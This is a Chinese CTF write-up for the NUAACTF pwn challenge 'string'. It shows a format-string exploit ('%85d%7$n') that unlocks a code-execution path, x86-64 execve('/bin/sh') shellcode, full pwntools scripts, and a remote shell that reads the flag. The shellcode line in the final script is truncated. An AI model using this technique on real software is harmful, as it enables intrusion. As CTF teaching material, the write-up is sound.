NUAACTF pwn string writeup

原创

tuck3r 于 2019-08-24 21:47:44 发布 1255 收藏 2
分类专栏： CTF pwn 文章标签： NUAACTF pwn writeup
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_39596232/article/details/100057172
版权


CTF 同时被 2 个专栏收录
13 篇文章 1 订阅
订阅专栏


pwn
12 篇文章 0 订阅
订阅专栏

题目描述：

菜鸡遇到了Dragon，有一位巫师可以帮助他逃离危险，但似乎需要一些要求

题目分析：

1、首先查看下文件的信息及其保护机制：

```
tucker@ubuntu:~/pwn$ file string
string: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=4f9fd3e83d275c6555ec7059823616ffc2f1af1b, stripped
tucker@ubuntu:~/pwn$ checksec string
[*] '/home/tucker/pwn/string'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

2、我们将其放到IDA中，main函数如下：

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _DWORD *v3; // rax
  __int64 v4; // ST18_8

  setbuf(stdout, 0LL);
  alarm(0x3Cu);
  sub_400996();
  v3 = malloc(8uLL);
  v4 = (__int64)v3;
  *v3 = 68;
  v3[1] = 85;
  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
  puts("we will tell you two secret ...");
  printf("secret[0] is %x\n", v4, a2);
  printf("secret[1] is %x\n", v4 + 4);
  puts("do not tell anyone ");
  sub_400D72(v4);
  puts("The End.....Really?");
  return 0LL;
}
```

sub_400996()函数主要是来打印提示信息以及龙的图案。v3申请了8bytes的空间，并且接下来打印出了v3的地址，此处后面或许会用到。真正的代码在sub_400D72()函数中。我们跟进去查看：

```
unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What should your character's name be:");
  _isoc99_scanf("%s", &s);
  if ( strlen(&s) <= 0xC )
  {
    puts("Creating a new player.");
    sub_400A7D();
    sub_400BB9();
    sub_400CA6((_DWORD *)a1);
  }
  else
  {
    puts("Hei! What's up!");
  }
  return __readfsqword(0x28u) ^ v3;
}
```

在sub_400D72()函数中首先输入你的name ，判断长度大于0xC的话就退出，否则，进入接下来的三个函数。

3、我们跟进函数sub_400A7D()中：

```
unsigned __int64 sub_400A7D()
{
  char s1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(" This is a famous but quite unusual inn. The air is fresh and the");
  puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");
  puts("furniture looks undamaged by brawls, which are very common in other pubs");
  puts("all around the world. The decoration looks extremely valuable and would fit");
  puts("into a palace, but in this city it's quite ordinary. In the middle of the");
  puts("room are velvet covered chairs and benches, which surround large oaken");
  puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
  puts("one corner you notice a fireplace.");
  puts("There are two obvious exits: east, up.");
  puts("But strange thing is ,no one there.");
  puts("So, where you will go?east or up?:");
  while ( 1 )
  {
    _isoc99_scanf("%s", &s1);
    if ( !strcmp(&s1, "east") || !strcmp(&s1, "east") )
      break;
    puts("hei! I'm secious!");
    puts("So, where you will go?:");
  }
  if ( strcmp(&s1, "east") )
  {
    if ( !strcmp(&s1, "up") )
      sub_4009DD();
    puts("YOU KNOW WHAT YOU DO?");
    exit(0);
  }
  return __readfsqword(0x28u) ^ v2;
}
```

函数中打印了一堆字符串，（貌似没啥用，纯属吓唬你滴），接下来好像只能输入“east"。

4、函数sub_400BB9() 如下：

```
unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch]
  __int64 v2; // [rsp+8h] [rbp-78h]
  char format; // [rsp+10h] [rbp-70h]
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0LL;
  puts("You travel a short distance east.That's odd, anyone disappear suddenly");
  puts(", what happend?! You just travel , and find another hole");
  puts("You recall, a big black hole will suckk you into it! Know what should you do?");
  puts("go into there(1), or leave(0)?:");
  _isoc99_scanf("%d", &v1);
  if ( v1 == 1 )
  {
    puts("A voice heard in your mind");
    puts("'Give me an address'");
    _isoc99_scanf("%ld", &v2);
    puts("And, you wish is:");
    _isoc99_scanf("%s", &format);
    puts("Your wish is");
    printf(&format, &format);
    puts("I hear it, I hear it....");
  }
  return __readfsqword(0x28u) ^ v4;
}
```

函数中好像只能输入1，否则就没得玩了，此处我们发现：printf(&format, &format)，明显是一个溢出点。（暂且放着）

5、函数sub_400CA6()如下：

```
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
  void *v1; // rsi
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Ahu!!!!!!!!!!!!!!!A Dragon has appeared!!");
  puts("Dragon say: HaHa! you were supposed to have a normal");
  puts("RPG game, but I have changed it! you have no weapon and ");
  puts("skill! you could not defeat me !");
  puts("That's sound terrible! you meet final boss!but you level is ONE!");
  if ( *a1 == a1[1] )
  {
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, v1, 0x100uLL);
    ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
  }
  return __readfsqword(0x28u) ^ v3;
}
```

此处我们看到有一条判断语句，如果条件为真，则下面的代码就是在执行我们输入的指令，我们只需要构造shellcode就OK了。现在关键就是使得if语句中的条件成真。此条件相当于a1[0] == a1[1]，我们可以向前回溯，发现此处的a1就是main函数中的v3：

```
  v3 = malloc(8uLL);
  v4 = (__int64)v3;
  *v3 = 68;
  v3[1] = 85;
```

6、因此我们就可以在上面发现的那个溢出点构造合适的payload，使得*v3=85，好在前面打印出了v4（也就是v3）的地址。但首先我们需要确定溢出点的偏移：

```
# pwn_string.py

from pwn import *

a = process("./string")

a.recvuntil("secret[0] is ")
addr = a.recvline().replace("\n", "")
print addr

# a.recvuntil("secret[0] is")
# print(a.recvuntil("\n").strip(),16)
#
a.recvuntil("What should your character's name be:")
a.sendline("tucker")
a.recvuntil("So, where you will go?east or up?:")
a.sendline("east")
a.recvuntil("go into there(1), or leave(0)?:")
a.sendline("1")

a.recvuntil("'Give me an address'")
a.sendline(str(0x6666))
a.recvuntil("And, you wish is:")
# payload = "%85d%"
a.sendline("AAAA_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x")

a.interactive()
```

运行结果如下：

```
tucker@ubuntu:~/pwn$ python pwn_string.py
[+] Starting local process './string': pid 3609
67d260
[*] Switching to interactive mode

[*] Process './string' stopped with exit code 0 (pid 3609)
Your wish is
AAAA_f1caa7e3_f1cab8c0_f19ce154_c_0_f1ca62a0_6666_41414141_255f7825_5f78255f_78255f78_255f7825_5f78255f_16I
Ahu!!!!!!!!!!!!!!!A Dragon has appeared!!
Dragon say: HaHa! you were supposed to have a normal
RPG game, but I have changed it! you have no weapon and
skill! you could not defeat me !
That's sound terrible! you meet final boss!but you level is ONE!
The End.....Really?
[*] Got EOF while reading in interactive
$
[*] Interrupted
```

由此我们看到偏移地址为7的地方是我们给v2赋的值。

同样，我们也可以分析此时程序的栈帧情况：

低地址	"format"	AAAA_%x_%x….
	"format"	
	"Your wish…"	
	"%s"	
	format	
	"and you…"	
	"%ld"	
高地址	&v2	<--目标地址

可以看到v2恰好就是在第一个format后的第七个位置。

因此我们可以构造payload="%85d%7$n"，预先将打印出的v3的地址写到v2，然后将85写入到v2中的地址，即可实现修改v3的内存。 exp如下：

```
# pwn_string.py

from pwn import *

a = process("./string")
# a = remote("111.198.29.45", "48506")

a.recvuntil("secret[0] is ")
addr = a.recvline().replace("\n", "")
print addr

# a.recvuntil("secret[0] is")
# print(a.recvuntil("\n").strip(),16)
#
a.recvuntil("What should your character's name be:")
a.sendline("tucker")
a.recvuntil("So, where you will go?east or up?:")
a.sendline("east")
a.recvuntil("go into there(1), or leave(0)?:")
a.sendline("1")

a.recvuntil("'Give me an address'")
a.sendline(str(int(addr, 16)))
a.recvuntil("And, you wish is:")
payload = "%85d%7$n"
a.sendline(payload)

a.interactive()
```

运行结果如下：

```
tucker@ubuntu:~/pwn$ python pwn_string3.py
[+] Starting local process './string': pid 3625
21ee260
[*] Switching to interactive mode

Your wish is
                                                                                1875220451I hear it, I hear it..
Ahu!!!!!!!!!!!!!!!A Dragon has appeared!!
Dragon say: HaHa! you were supposed to have a normal
RPG game, but I have changed it! you have no weapon and
skill! you could not defeat me !
That's sound terrible! you meet final boss!but you level is ONE!
Wizard: I will help you! USE YOU SPELL
[*] Got EOF while reading in interactive
$
```

我们看到程序打印出了“I will help you! USE YOU SPELL”，说明我们利用成功。

7、接下来，我们想要成功获得shell，我们可以生成system("/bin/sh")的shellcode（此处我需要好好补一补）：

```
\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05
```

编写exp如下：

```
# pwn_string3.py

from pwn import *

# a = process("./string")
a = remote("111.198.29.45", "48506")

a.recvuntil("secret[0] is ")
addr = a.recvline().replace("\n", "")
print addr

# a.recvuntil("secret[0] is")
# print(a.recvuntil("\n").strip(),16)
#
a.recvuntil("What should your character's name be:")
a.sendline("tucker")
a.recvuntil("So, where you will go?east or up?:")
a.sendline("east")
a.recvuntil("go into there(1), or leave(0)?:")
a.sendline("1")

a.recvuntil("'Give me an address'")
a.sendline(str(int(addr, 16)))
a.recvuntil("And, you wish is:")
payload = "%85d%7$n"
a.sendline(payload)

a.recvuntil("I will help you! USE YOU SPELL")
# a.sendline("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
a.sendline("\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x0
a.interactive()
```

运行，即可成功得到shell：

```
tucker@ubuntu:~/pwn$ python pwn_string2.py
[+] Opening connection to 111.198.29.45 on port 48506: Done
10ce010
[*] Switching to interactive mode

$ ls
bin
dev
flag
lib
lib32
lib64
string
$ cat flag
cyberpeace{be152a8002d65e49d898d36550c414d0}
$
```